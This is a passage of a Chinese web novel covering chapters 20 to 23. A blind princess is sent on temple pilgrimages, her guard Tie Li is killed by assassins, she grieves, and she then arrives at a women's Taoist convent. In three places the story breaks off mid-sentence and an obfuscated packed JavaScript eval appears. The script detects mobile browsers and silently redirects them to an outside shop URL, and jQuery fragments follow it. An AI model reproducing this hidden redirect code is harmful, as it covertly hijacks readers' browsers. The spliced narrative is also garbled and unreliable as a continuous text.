横雨瞧见周嫽脸色并不好看,小心翼翼上前侍奉在另一侧,宽慰:“奴婢瞧铁离姑娘还带了许多物品箱子,想来是宫里给了什么赏赐。”
周嫽兴致不高,但还是勉强朝横雨笑了笑:“但愿吧。”
等到了正厅,听罢铁离讲明来意,周嫽竟一时不知是喜是怒。
原来周翰不知从哪得来了周嫽要去生息观祈福一事,特意让铁离送来许多金银珠宝,说是让她捎带着他的一份为国祈福。并且除了生息观以外,还要分别前往水清庵与皇家寺庙路明寺祈福。前两处分别去两日即可,而路明寺则要在里面待够整整二十一天以等待皇帝率众大臣祈福完毕后一同回去。
与此同时,为了保障周嫽的人身安全,还安排功夫高强的铁离与李小将军李堪一同前往。
铁离顶着玉生与横雨两人有如实质的瞪视,硬着头皮上前,举出手里的东西,“公主,这是调遣护卫队的令牌,您可随时通过此令牌命令包括小将军在内的护卫队所有人。”女人声音越来越小,原因无他,哪怕低着头也能感受到面前女子浑身散发出的低气压。
只闻女子冷若冰霜的声音响起:“那若是本宫命你们回去呢?”
铁离猛吸一口气,跪在地上,“皇命难违,陛下也是为了保证公主的安全,还望公主体谅。”
“体谅?”周嫽直接气笑了,“铁离,本宫体谅你,又有谁来体谅本宫?”
话是这么说,她最后还是挥了挥手,让女人下去。
玉生担忧地扶着周嫽坐下,“公主......”
周嫽面色惨淡,苦笑:“我就说他不肯轻易放过我。”
横雨见状,心都揪了起来。不忍心看主人伤心暗淡的模样,她伏在女子膝上努力逗她开心:“公主,去庙里也不见得全是不好的事,您这段时间不是在想幼女院日后该如何发展吗?正好庙里清净,也能供您好好思考,想想主意。而且、而且啊——”
她费力思索着,灵光一现,“而且您能带小世子一起去啊!小世子最近进步可大了,背了好多文章,昨儿奴婢还瞧小世子写的诗,虽说比不上雪晴姑娘,但以他的学习时长已经很不错了。公主可以趁这段时间检查检查小世子的功课,想来小世子也想与您多亲近亲近。”
“哦对了,您还能带着四位姑娘一起去见见世面,那可是路明寺啊,多少人到处求门问路想要进来撒一笔钱,姑娘们肯定也很愿意来瞧瞧的。”横雨仰头看着周嫽,恳求:“公主,您别伤心了......”
知道横雨是为了自己好,周嫽握住了女孩的手安慰:“不用担心,我没有事。”她摇摇头,“天寒地冻的,又出去那么多天,她们还有功课,便不去了。而且若是我第一日便请得生息观的道长教女孩们功夫,总不能叫她来了之后找不到学生。”
不知是气得还是过分忧心,周嫽脸色有些苍白,但是经过横雨一番话后不再如刚刚那样无望了,她握住横雨的手紧了紧,“你想的很对,我不能自怨自艾,他非把我关在寺庙里我也没办法,他落井下石,我更得踩着石头努力往上走往外面瞧才是。不能浪费了这样的机会。”
玉生张了张嘴似乎想要劝什么,最终也只是对着横雨抱怨:“公主这段时间前前后后的忙活,你怎么也不知道叫公主歇歇。都进庙里了还想着让公主做事呢!”
“哦!是!”横雨这才反应过来,赶紧凑近想要说什么,然而不待她开口,一双温热有力的手轻轻盖在她的头顶。
周嫽面带微笑,摸了摸横雨的头,“好了,你如此为我着想我已经很高兴了。”
横雨哑然,过了许久才说:“横雨是公主的奴婢,为公主想办法是应该的。”
“但我还是很开心能够有你在我身边。”
横雨鼻子有些酸:“公主......”
周嫽笑了一下,扶着横雨一起站起来,“我离开这二十多天,你就与奢雪一起待在公主府里,有什么事情你们俩拿主意便是。若是有解决不好的,便找邓夫人想法子,或者派人传信与我也行。”
横雨惊讶:“公主不带着奢雪一起吗?”
她摇了摇头:“你们俩谁单独留下来我都不放心,让那个叫伍仙的孩子跟过来吧。”
出发前,周嫽与邓宛影见了一面。
两人相约在酒楼里,她将自己关于幼女院的打算告诉邓宛影,女人没讲什么赞成鼓励的话,但也没有说出丧气话来打击她。
邓宛影默默为周嫽倒了一杯酒,酒液在空中划出连绵的线条,“你酒品倒是好。”因着沈华君的缘故,她对待眼前的女子已经不像从前那样恭敬疏离了。她将酒盏推到周嫽手边,眼睫颤了颤,“扶楹进宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627590|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后我们第一次见面时,她也是一直喝酒。”
周嫽捏紧送到嘴边的琉璃盏,倏尔放下,“抱歉,让邓姐姐想起伤心事了。”
邓宛影一笑,笑容有些悲凉,但更多的是感慨与怀念:“旧友的事怎么是伤心事呢?”这话既是对自己说,也是对周嫽说的。
明白女人的意思,周嫽哑然失笑。她抬手把酒赏给玉生,玉生连忙上前捧过酒盏饮下。她扶额,又锤了锤脑袋,“邓姐姐说的对极了。”
邓宛影无奈地叹了口气,起身绕到周嫽身后,为她按揉额角,“华君总说你英明神武,怎得还没我看的开?”她小声嘟囔:“我原以为你心结已经解开了。”
周嫽嘴硬:“我没心结。”
“好好好,你没有。”邓宛影懒得与她争辩这些,她看着女孩尚且稚嫩的脸庞,忽然道:“公主只比华君年长六岁。”
知道身后的女人想要说什么,周嫽道:“六岁可不少。”
“那是公主看着不少,说句大逆不道的话,在我眼里,公主就与华君无异。”邓宛影手上突然用力,周嫽疼的倒吸一口气,可不过一瞬便觉得神清气畅,头疼也一下子没了。
她拽住邓宛影的手,脸面向前方,对身后的人的说:“邓姐姐手艺真是不错,回头也教教我家玉生。”
邓宛影无奈点了一下女孩的头,“贫嘴。”
两人继续聊了几句幼女院的事,周嫽忽然凑近了隔着一张小桌的邓宛影,低声询问:“邓姐姐可知道顾宪勉的消息?”
“顾宪勉”三个字如巨石激起心中惊涛骇浪,邓宛影大惊失色:“什么!”她慌忙攥住周嫽的手急切询问:“他要回来了?”
“不是的。”周嫽连忙安抚情绪激动的女人,“我也不知道,所以来问姐姐呢。”她将前段时间周翰盘问玉生顾宪勉一事简要道出。
说起顾宪勉,他真是与京城许多人都有很深的渊源。
除了曾经与苏扶楹共结连理枝外,与邓宛影夫妇二人也曾是至交好友。
苏扶楹、顾宪勉、邓宛影以及她的丈夫,四人从小是一起长大的,听说从前说亲的时候四家长辈不知道,还把两对人给说反过。比如将邓宛影说给顾宪勉,将苏扶楹说给邓宛影的丈夫。
不过好在四人早已经互通心意,其中一人与自家长辈言明后,其余三人也都松了一口气。
甚至邓宛影成婚后的第一个孩子,便是由顾宪勉取得名字。
华君。
不过后来自苏扶楹被先皇强取豪夺入宫,邓宛影便恨透了一事无成,连自己妻子都保不住的顾宪勉,与他彻底断绝往来。
周嫽说出自己的猜想:“我觉得周翰想让顾宪勉把明赫要回去。”
相处也有几个月了,邓宛影或多或少听周嫽抱怨过几次皇帝,知道兄妹二人的关系远不如明面上那么好,但也只以为是兄妹之间的别扭,“陛下这是在故意气你?”
没有那么简单,周嫽想,恐怕还是担心外人眼中的先帝幼子会夺走他的皇位。
不过这样的话她没有告诉邓宛影,怕女人多思乱想,只是叮嘱:“姐姐要是有了顾宪勉的任何消息,定要第一时间告诉我。”
21. 第 21 章
周嫽把周明赫也带过去了,现在她实在不放心明赫独自一人待在家中,总是担忧周翰会不会对这个孩子痛下杀手。
因前两个要去的生息观与水清庵里都是女子,明赫虽然年纪小却也是个男孩子,她便让人先将他送去了路明寺等着。
今年冬天还未下雪,没到最冷的时候,可树木凋零的萧瑟之感却总叫人觉得长的深入骨髓了,似乎已经冷了很久。周嫽弯腰亲自为男孩系好厚实的斗篷,男孩有些不舒服地动了动,被一旁的玉生拍了一下脑袋,他吓得一缩,安静下来。
周嫽大概能察觉到两人的小动作,她也没管,只是再一次叮嘱:“到了路明寺不要捣乱,乖乖待在禅房里看书。有人找你也不必回话,叫小墨子出去应付便是。”她拢了拢男孩的斗篷,“记住了吗?”
“记住了——”周明赫拉长嗓音回答,一双黑葡萄似的大眼睛直溜溜地转,从暖和的斗篷里伸出热乎乎的小手,握住周嫽冰凉的手掌,“姑母出门注意安全,要早早回来看明赫。”
念及男孩这段时间一直把自己关在屋子里刻苦学习,周嫽摸了摸他豆腐块似的柔嫩小脸,柔声安慰:“辛苦了,等到年后顺利到薛国公那里念书,就能歇歇了。”
男孩很乖巧地摇摇头,“明赫要时时刻刻努力,不给姑母丢脸。”
周嫽手中动作一顿,她微微蹙起眉头,十分心疼的样子,“不必如此刻苦,明赫,姑母只盼你平平安安快快乐乐的,能够进入薛国公名下学习已经很不错了,对姑母来说,这样便已足够。”
周明赫最看不得的就是姑母皱眉头,他连忙宽慰:“明赫知道了!明赫会劳逸结合的,姑母别担心明赫。”他张了张嘴,想说什么,最终也只是赧然一笑:“明赫想与姑母一起快快乐乐地过日子。”
“好。”周嫽摸摸他的头,“快上车吧,都等着你呢。”末了,她又吩咐小墨子,“照顾好世子。”
“是。”专门伺候周明赫的大太监连忙应答。
周嫽与玉生、伍仙三人上车,马车未启程,铁离在外头讨好道:“公主,陛下得知公主今日出发,特意赏了荼芜香的熏笼给您,又香又暖和,还可好看了。”没有得到周嫽的回应,铁离心里犯憷,但也知道自己最近得罪这位公主的地方太多了,只得硬着头皮道:“公主,您试试,放马车里头香的很。”
隔着一道帘子,周嫽默默听着女人微微发抖的声音,无奈叹了一口气,对伍仙说:“拿进来吧。”
“是。”伍仙打开车门出去,又小心关好再拉上帘子,不让冷风进去。她搓了搓手走到铁离姑姑身边,看着地上的大物件,眨了眨眼,“这也太大了吧。”
铁离从前没在福瑄公主身边见过这孩子,但还是拿出十二分的尊敬介绍:“是陛下特意找人给公主做的,自然比寻常的华美多。”她指了指旁边箱子里的锦被,“箱子里是盖上去的锦被,上面绣了公主喜欢的桃花。”
伍仙小声嘟囔:“好看有什么用,公主又瞧不见。”说着,撩袖子将东西搬进车内。
留下铁离浑身直冒冷汗,她这破脑子!破嘴!
“铁离。”平静中带着几丝凉意的女声从后面传来,铁离赶忙站到车窗跟前,隔着厚实的帘子询问:“公主有何吩咐?”
“别骑马了,上里面来吧。”
铁离怔愣,不禁心里感慨公主真是极为善良的人,她自幼长在宫中,是最有分寸的,“奴婢身体好,不冷。”
里面不再有话传来,正当铁离担忧自己是否拒绝得太过生硬惹公主不开心了时,刚才那个女孩再次下来,两手一伸递过来一件斗篷,“公主给姑姑的,姑姑您就穿上吧,否则公主心里也不好受。”
这回铁离是真的发自内心觉得羞愧了,不是羞愧公主待自己这样好而她却恩将仇报,帮着皇帝磋磨可怜的公主,而是在品德高尚之人面前难以摆脱的自卑。她接过来在身上系好,真诚道谢:“烦请姑娘代我谢过公主,公主至仁至善,必定福气盈身,万事如意的。”
伍仙抿嘴笑了笑,应和:“那是自然。”她没有立即走,而是往后看了看,问:“小将军呢?”
“小将军在后头跟着呢。”铁离摸了摸马鼻子,笑道:“那群男人粗手粗脚的,怕惊扰了公主,公主御前便由我来侍奉,有任何事都请来吩咐我。”
伍仙笑弯了眼:“欸。”
回到马车上,伍仙将铁离所言只字不差告知公主。
室内芬香扑鼻,周嫽其实觉着有些闷了,她幽幽叹一口气:“让他来是何意?莫不是怕我逃了?真是把我堂堂公主当作鸟雀了。”
玉生为周嫽捏着手,与她一起愤慨:“陛下也真是的!怎能如此对待您,如此大阵仗若是叫人误会了可如何是好。”他心疼地揉了揉公主因常常雕刻东西而酸痛不已的手,安慰:“没公主的吩咐,谅那些个脏东西也不敢出现在公主面前,咱们不必管他,就当出来游玩放松放松了。”
伍仙脑子笨,嘴也笨,想要学玉生说话,然而玉生一张嘴叭叭叭的没有停下来的时候,她也实在插不上话。她无声叹了口气,只得安静坐在一旁吃糕点。
好在公主主动问起她,“你算数学的如何了?”
她学的可好了!伍仙激动不已,但还记得在公主跟前得安分有礼,连忙掩下口中吃食,回答:“九九乘法已经会了,送去生息观的礼物都是奴婢清点的呢!”
玉生嫌弃她满嘴油腻的样子,斥责:“与主子共处一室吃吃喝喝的像什么样子!”
周嫽拍拍玉生的手,“是我叫她放心吃的,她还是个孩子,正是长身体的时候,多吃点东西是应该的。反正你们每日准备的这些东西我也不吃。”
伍仙是很怕玉生的,要不是没有公主先前的批准,她当然也不会如此吃喝,再说她今天早上一早起来干活,累的茶都没喝上一口,现在吃点东西怎么了。
又不是每个奴才都跟玉生公公一样还有小奴才伺候。伍仙心里不满,面上却不敢有什么颜色,倒了一杯茶递过去,“公主喝茶。”
见公主并不恼怒伍仙的举止,反而还笑着接过茶水,玉生便知道了公主是十分喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644637|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欢这个孩子的。
既是公主喜欢的,他不由得多看了两眼,什么机灵劲与能干的样子都没看到,只瞧见了女孩日益宽阔的脸颊。
真是个贪吃的奴才!
他为公主每日净养这些没用的家伙烦心,下一秒温热的茶盏递到嘴边,他浑身一震,惊得立即跪下来接过茶盏,“谢公主隆恩。”
伍仙见状,一言不发撇过头,装作什么都没看见。
公主常常赏赐玉生公公茶水与吃食,甚至连在外人面前都不避讳,这已经是人尽皆知的事情,大家都见怪不怪。
她是公主府建成后从外面买来的奴婢,听那些跟着公主一起出宫的姐姐们说,全府上下连公主都能惹得,就是千万别惹玉生公公。
原因无他,公主对待女孩子们往往十分宽容,只要不是杀人放火的大事,一般都不会怪罪。可玉生公公就绝对不能惹了,除了人本身小心眼外,更重要的原因是他极受公主宠信,除却日常赏赐的吃食外,各种金银珠宝绫罗绸缎更是不断送给他。
玉生公公就是公主府的半个主子,甚至连小世子在他眼前,都要恭敬非常。
不知自己是不是被公主惯的胆子大了,伍仙竟生出勇气往那边瞥了一眼,只见主仆二人又玩闹在一起了,公主脸上也少见地显现出些许符合年纪的孩子笑容。
她放下心来,想公主毕竟是被玉生公公养大的,宠爱他也是应该的。
马车走了大半段路,忽然停下来,正打瞌睡的伍仙不明所以抬起头来,不知是哪个胆子大的竟敢阻拦公主的马车,不禁抱怨:“陛下怎么也不派人给公主开路。”
听闻女孩无心之言,周嫽忽然浑身一凉。她不自觉捏紧了玉生的手,下一秒便听得铁离在外面大喊:“有刺客!保卫公主!”
守卫士兵们劈里啪啦上前围住马车,玉生与伍仙立刻一左一右把周嫽挡在身后,她不安地闭紧眼睛,努力用耳朵听外面的情况。
杂乱的动静很快就消失了,她听见液体溅在地上的声音,是不是代表刺客被斩杀了?
周嫽的声音还带着颤意,大声朝外面喊:“铁离?是怎么回事啊?”
外面似乎寂静了片刻,周嫽很小的时候就看不见了,因此听觉要比许多人灵敏许多,然而此时此刻,她却听不见外面一点声音。
忽然间,一股不好的预感从心口涌出来,爬满全身,她打了个激灵,不禁用更大的声音向外面喊:“铁离!”
不过须臾,一道悲痛的男声响起,“公主,铁离姑娘......不幸身亡了。”
什么?
周嫽低下头,不可置信地揉了揉耳朵,霎时间,冷意传遍四肢百骸。她张开嘴想要说话,嗓子却好像被塞了一块石头,疼的她一个字也吐不出来,于是她伸出手想要推开身前两个人亲自下去查看,可是双手抖得厉害,放在他们手臂上又不受控制地滑下来。
“公主!”玉生扶住失力的公主,下一秒——
周嫽反手死死握紧他的手,咬牙切齿:“是周翰!是周翰杀了铁离!”
22. 第 22 章
周嫽狼狈跑下车,双手无助地握紧玉生的手,“玉生......”
玉生立刻回握住女子抖个不停的手,抬眼寻找铁离,旋即双目震惊地瞪大。他看向站在一旁的少年,李堪神色悲痛地摇摇头,跪地谢罪。
周嫽却什么都听不进去了,只是催促玉生,声音都带上了哭腔:“铁离如何了?”
伍仙不忍地撇过头不敢再看,玉生眉头狠狠跳动两下,犹豫再三,如实回禀:“铁离姑娘被抹断脖子,已经去了。”他搂住瞬间站不稳将要倒地的公主,也忍不住哭了出来:“公主节哀。”
周嫽以为自己的眼泪已经全部随着苏扶楹去了看不见的天际,再也不会有了;以为铁离总是听从周翰的命令处处和自己对着干,自己该不喜欢她的......然而此时此刻听闻女子逝去的消息,她却心如刀绞,泪如雨下。
巨大的愧疚几乎淹没周嫽,让她喘不过气,她艰难拽住玉生的衣领不去叫自己更加失态,可她的心是那么地痛,痛到好像自己的手脚也跟着痛了起来。泪水不断从眼眶涌出,她哭着喊:“叫太医,快叫太医来看看她......不!立刻把她送去最近的医馆,李堪!快去!”
少年将军张口无言,他想要说地上女子脖子断了一半,哪怕有回天之力都难以救治。可是看着悲痛欲绝的公主,没有人能够把这个绝望的事实说出了,“是!”
这天下午周嫽在附近的医馆里从太阳高照坐到日落西山,没人胆敢进来打扰她,只有小心缩在角落里的伍仙,和如一块石头般静默的玉生,忠实地陪在她的身边。
“玉生。”周嫽突然出声,她的嗓子哑极了,像吞了一块炭,沙哑粗糙,“是我的错吗?”
她如此问道,那么直白,如同一把利剑刺入玉生的心脏,让他疼得快要死去,“不是公主的错。”他重复:“杀人的是陛下,这是陛下的错。陛下因为没有做错任何事的公主迁怒于旁人,这也是陛下的错。”
他落下一滴眼泪,又忍不住落下一滴,“小将军说当时剑向马车冲过来,是铁离姑娘反应迅速挡在了前面。”知道这话有些无情,他顿住,但还是坚定往下说去:“铁离姑娘保护公主凭借的是她自己的心意,公主,铁离姑娘是敬爱您的。若是铁离姑娘在天有灵知道您将罪责全部揽到自己身上,想来也难瞑目啊。”
见女子依然黯然伤神,玉生使出力气努力攥紧她的手,希望能拉回她神游在外的思绪,“公主,斯人已逝,最要紧的还是活着的啊。”
周嫽眼睫颤了颤,玉生知道她听进去了。
良久,方见女子再次开口,两颊犹有泪痕,说出的话却坚毅非常,不屈不挠:“你说得对,最要紧的是活着的人,无论是爱她之爱,还是恨她之恨。”然而下一秒,她又伤心下来:“可惜铁离孤零零一人。”
铁离是周翰还做皇子时老师收养的孩子,专门当作探寻情报的死士培养,武艺高强又知书达理,善于伪装。后来那位老师见周翰心性不凡,便将铁离赠与他使用,他便将半大的铁离当作御前侍卫驱使许多年。
没想到杀起来竟如此轻易。
持着谨慎态度,周嫽下意识怀疑:“若不是周翰杀的还有什么可能?”她想起玉生刚刚说的话,“你说刺客是朝着马车来的,难道他要杀的是我?”
玉生思索片刻,否定:“公主与人无冤无仇,您身份又尊贵,谁会在这个节点刺杀您?”他灵光一闪,惊疑不定:“莫非是冲着小世子来得?”
周嫽让周明赫先行前往路明寺也是临时起意,若是有人因他先帝遗孤的身份想要杀害他,那也不是没有道理。不过周嫽很快否定了这个可能:“若真有人想要对明赫痛下杀手,除了周翰再无第二人。”而周翰又不是不知晓周明赫真正的行踪。
况且当时伍仙一句无心之言也提点了周嫽,她原本倒想低调前往生息观的,只是因为周翰打岔不得不带上一群侍卫高调出行,即使如此周翰又为何不派人为周嫽先行扫清路上行人摊铺?想来是为那行刺之人提供便利,再借用人心杀害铁离。
至于杀害铁离的原因——
周嫽几乎不用思索就能明白。
周翰还在记恨周嫽前段时间因为幼女院闹出来的风波,想来这就是她被关在重华宫前时周翰所说的惩罚。
他从来都没有忘记也不会因为一个小小的龙雕原谅周嫽,他始终保留着更残忍恶毒的手段等着对付周嫽。
这是在警告她安分守己。
甚至选择她前往生息观的这段道路下手,为的就是让她想清楚一意孤行做出些“疯疯癫癫”的行为所要付出的代价。
她到底该怎么办?周嫽痛苦地捂住脸,她忙碌一下午,头发散乱,满脸泪痕,满身尘土,此时此刻倒真像个疯婆子了。
“公主......”玉生心疼地望着主人,他只能更用力与周嫽双手交叠,努力让她感受到自己的存在。
她不禁怀疑自己:“我是不是错了?或许我本就不该让女孩们学什么武术,在这个世道,多学些女工与琴棋书画,才是硬道理。”她越说越觉得悲痛:“请生息观的女道士们来教她们武艺又有什么用呢?学了武艺能干吗?能上阵杀敌还是能成为铁离一样的人?莫非我还能叫她们也出家做道士去了?”
因为苏扶楹还在世时常常教导周嫽学习简单的武功,事实上那个时候的周嫽就无法理解,她当时还是个顽劣不堪的孩子,对待苏扶楹也总是因为喜欢她便阳奉阴违,私底下并未好好练习她传授的武功知识,因此学的什么也不是。
她更加怀疑自己了:“或许我做这些只是想弥补自己在苏扶楹那里的遗憾——”
“才不是呢!”伍仙突然大声打断周嫽的话,她不知从哪生出来许多勇气,大步走过来推开玉生,竟然大逆不道双手扶着公主的肩膀,说:“公主忘了吗?您当初想让姑娘们学武艺是因为希望她们能有自保的能力,这是您从先皇后那里学来的,这是正确的、好的想法,因此您传承下来了,这是多么好的事情啊!”
她像是嘴上套的锁被劈开,滔滔不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659584|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝讲起来:“公主说您让公主府的丫鬟们识字念书是因为想要我们为您读书吗?”
周嫽似乎明白了什么,喃喃自语:“当然不是......”
“是啊!当然不是!”伍仙认真看着公主,“学武艺怎么没用了?姑娘们现在跟着您是大家小姐,以后难不成也是么?出门在外若是遇着了歹人没有侍卫男子守护她们,她们也能自己保护自己。如果平时吃了亏也能当即讨回公道,不必像奴婢从前一样哑巴吃黄连有苦说不出——奴婢从前就是这样的!但是——”
她眼神很亮,完全不似寻常丫鬟那样带着骨子里的乖顺,“但是因为公主常常让公主府里的丫鬟们跑跑步锻炼锻炼身体,奴婢当初才能一把抓获韩永玢派的奸佞小人,从而被公主赏识,有了现在甚至能出现在皇上跟前的机会,还会用九九乘法算偌大一个公主府的财产了!”
“公主您说、您说奴婢厉不厉害?”
周嫽被伍仙一番话冲的愣在原处,“......很厉害。”
伍仙立刻道:“那都是因为公主您啊!因为您的英明决断。”
周嫽嘴唇颤抖着,她不得不咬紧下唇不让自己哭来,伸手摸到伍仙温暖的身体,她忽然紧紧抱住她,埋在女孩怀中失声痛哭。
一时间,无论是伍仙还是玉生,全部泪如雨下。
是啊,周嫽想,明明一切都是周翰的错,为何自怨自艾愧疚不已的是自己呢?她分明很努力地为自己而活的同时也在很努力地帮助别人了,她才不是疯疯癫癫,也不是恶劣无情,她是个优秀的、被别的女子需要的女人。
如果非要说,周嫽确实觉得羞愧,她为自己差一点向恨意的源头屈服感到羞愧!
分明那么多次见到过女子因为无力反抗蹉跎一生的例子,因此希望女孩们能成为强大有力的女人,哪怕将来隐瞒这份强大生存,但至少她们是知道自己的强大的,她们不会因为男人的否定与批评而怀疑自己,也不会在遇到危险时只能无能无奈又绝望地乞求神明与男人来救自己!
恨女子们只能困于后宅,却又想让姑娘们学好“能够安于后宅”的技能就足够了,她真是鬼迷心窍犯糊涂了!周翰更是罪该万死!
她从伍仙怀中出来,抬起袖子擦干眼泪,站起身来,“我想再去摸摸铁离的脸。”她想记住铁离。
玉生微怔,顺从地扶着公主来到床边。
周嫽抖着手摸向铁离冰冷的脸皮,手抖是因为心中仍旧难以自抑悲伤,只要靠近铁离,她便不受控制地回忆起从前那个活蹦乱跳,不听她话但非常坚毅地坚守自己原则的女子。悲伤之余,她并不觉得害怕,反而十分亲切。
“对不起铁离。”这样冒犯到你了真的非常抱歉,可是她看不见,她只能这样做。
她的手指轻柔而缓慢地掠过女子粗重的眉,有些细长的眼睛,还有很是挺翘的鼻梁。嘴唇是有些厚的,还很宽,脸庞比较细瘦,下巴左侧有一颗痣,不大,但是突起的很厉害。
“我会给你报仇的。”
23. 第 23 章
周嫽决定暂缓前往生息观的计划,她不想回到城中,便在路边找了一处客栈住下。
李堪不知是否早就得知这一切,还是因为周翰并未给他下达任何命令,总之他对于周嫽停在半路一事没有任何阻挠,反而顺从地按照周嫽的命令为铁离寻了一处幽静之地将她葬下。
周嫽在客栈住了四日,日日都来到铁离坟墓前絮絮叨叨地与她讲话,大多时候都是讲一些微不足道的小事。这真是神奇,铁离生前她并不喜欢这个女子,反而极力想要远离她,死后她却总想着与她说些话。
她怕铁离刚刚走在黄泉路上什么人也不认识太孤单,然而转念一想或许铁离的家人都在那里等着她,也用不着自己陪伴。
第五日,在本该前往路明寺的这一天,周嫽一行人动身前往生息观。
伍仙隐隐约约知道一些皇家秘辛,坐在马车里常常忍不住往外面查看,被玉生瞪了一眼后终于安分下来。过了一会,她担忧问道:“公主,咱们这样真的没问题么?”
周嫽安抚地朝女孩笑笑:“没事的,放心吧。就算真的遇上特殊情况,我也会保护好你的。”
伍仙脸一红,连忙摆摆手解释:“奴婢不是这个意思!如果有危险奴婢一定会挡在公主身边,绝对不会叫您受到任何伤害!”
不料周嫽却摇摇头,很认真地告诫女孩:“有危险了就跑,无论是谁都没有你自己重要。”
“可是......”
知道女孩想说些什么,周嫽拿出自己常常对奢雪与横雨二人说的话,“对我来讲,你就与我妹妹一般。我知你有护主心,可你若真的因我受了伤,我会非常难过。”
她说话时很真诚,让人无端想到前几日铁离死去时她宛如抽了魂似的样子。伍仙瞧着公主亲和的笑容,忽然有些理解当时铁离的心境了。她没有再说什么话剖白心迹,只是暗暗在心底发誓一定要守护好公主,就像公主守护着她们一样。
生息观的创立人是百年前的一位公主,由于不满驸马的碌碌无为,竟然一剑刺穿了他的心脏。当时那位公主因为此事被朝臣与百姓们骂了许久,皇帝想要惩罚公主,但又不可能真的按照律法杀人偿命,于是皇后便提出让公主到寺庙带发修行,悔悟自身。
却不想公主来到寺庙的第一日,她府中从上到下的婢女全部来到寺庙想要陪伴公主,一起当尼姑。公主感动之余又十分无奈,顶着里里外外批评的压力,向皇后请旨到城外建立道观,带领一众追随于她的女子为国祈福。
于是生息观就这么建起来了。
那位公主胸怀大义,常常收留投奔于她的可怜女子,长久下来,生息观也不仅仅只是她思过的牢笼了,反而成为许多大耀女子心中一片净土。
公主担心自己去世后生息观会无人庇佑,于是勒令观中女子都要修习武艺,保护自己。
公主的事迹在现在已经化为烟尘随风而去了,连周嫽这个皇室之人都不知道自己祖先的故事,反而苏扶楹这个外人要清楚的多,这个故事就是苏扶楹告诉自己的。
她把故事讲给伍仙听。
“好厉害!”女孩发自内心赞叹:“像公主一样厉害的公主!”
周嫽谦虚地笑了一下,“我自是比不上她的,但我也会努力,以她为榜样帮助更多女子。”
伍仙也说:“那我就以公主为榜样!”
生息观建在生息山半山腰,马车很快到达山脚处停下,接下来就需要步行了。
周嫽由玉生与伍仙搀扶着刚刚下车,外面就响起了齐刷刷的参拜声,声音高昂清亮,震人心魄:“参见福瑄大长公主,公主万福金安。”
她一惊,连忙推了推伍仙。伍仙赶紧过去将为首那位身高体长的中年女子扶起来。
“快快平身。”周嫽捏紧玉生的手,“道长们行如此大礼,本宫真是受之有愧。”这是在说她迟了那么多天到来这里。
站在首位的女子长身玉立,气度非凡,开口犹如冷玉破冰,“公主愿意来生息观祈福,是观内一百二十七人之幸,贫道自当重之又重。”她侧身将身后的步轿展露给玉生等人,“山路崎岖,冬日路滑,还请公主移步轿辇,由吾等侍奉公主平安抵达观内。”
周嫽推拒:“本宫诚心祈福,哪有到了观门口了还要享福偷懒的道理。不过小小一段山路,本宫与诸位道长们走上去便是。”
女子语气柔和些许,不似方才那般冷硬,“心诚则灵,公主有这份心意足矣,不必拘泥形式。况且您是祖师娘之后,想来她老人家在天之灵也不愿您如此受苦。”
周嫽微怔,后知后觉反应过来女人口中所说的祖师娘乃是那位建观的公主。她看不见,走路慢,走山路肯定更慢,天寒地冻得也不好让一群人跟着自己受冻,于是周嫽不再客气,不过还是说:“让侍卫们抬轿子便可。”
女人却道:“祖师娘曾严令禁止男子上生息山,因此公主所带的侍卫们与您身边的公公是无法上山的。”她语气微顿,继续说道:“生息观的道士们力气都很大,定不会叫公主觉得颠簸,还请公主放心。”
此话一出,玉生与李堪齐齐看向周嫽:“公主......”
周嫽一愣,与玉生贴近了些,犹豫片刻松开他的手,伍仙赶忙上前扶着,“你会车里候着吧。”
玉生不愿意,但没办法说任何话,只得叮嘱伍仙一句“照顾好公主”退后。
李堪在此时上前来,“公主只带一名侍女上山恐怕不妥,陛下吩咐过......”
周嫽打断他:“男的不让上去听不懂么?”此话一出,她便后悔了,担心周翰拿此事做文章为难生息观,深呼吸一口气,只得再次解释:“生息观与皇室关系匪浅,在城中又素有美名,将军不必忧心。倘若真的有危险了,本宫定会叫伍仙下山求助。”
李堪还想要说些什么,玉生走过去强硬地把他拉走。
周嫽对生息观众人投以歉意的笑,俯身上了小轿。
站在一旁的伍仙看见乌泱泱的黑衣女人将公主围拢,立刻也上前紧紧跟在轿子旁边,与公主两
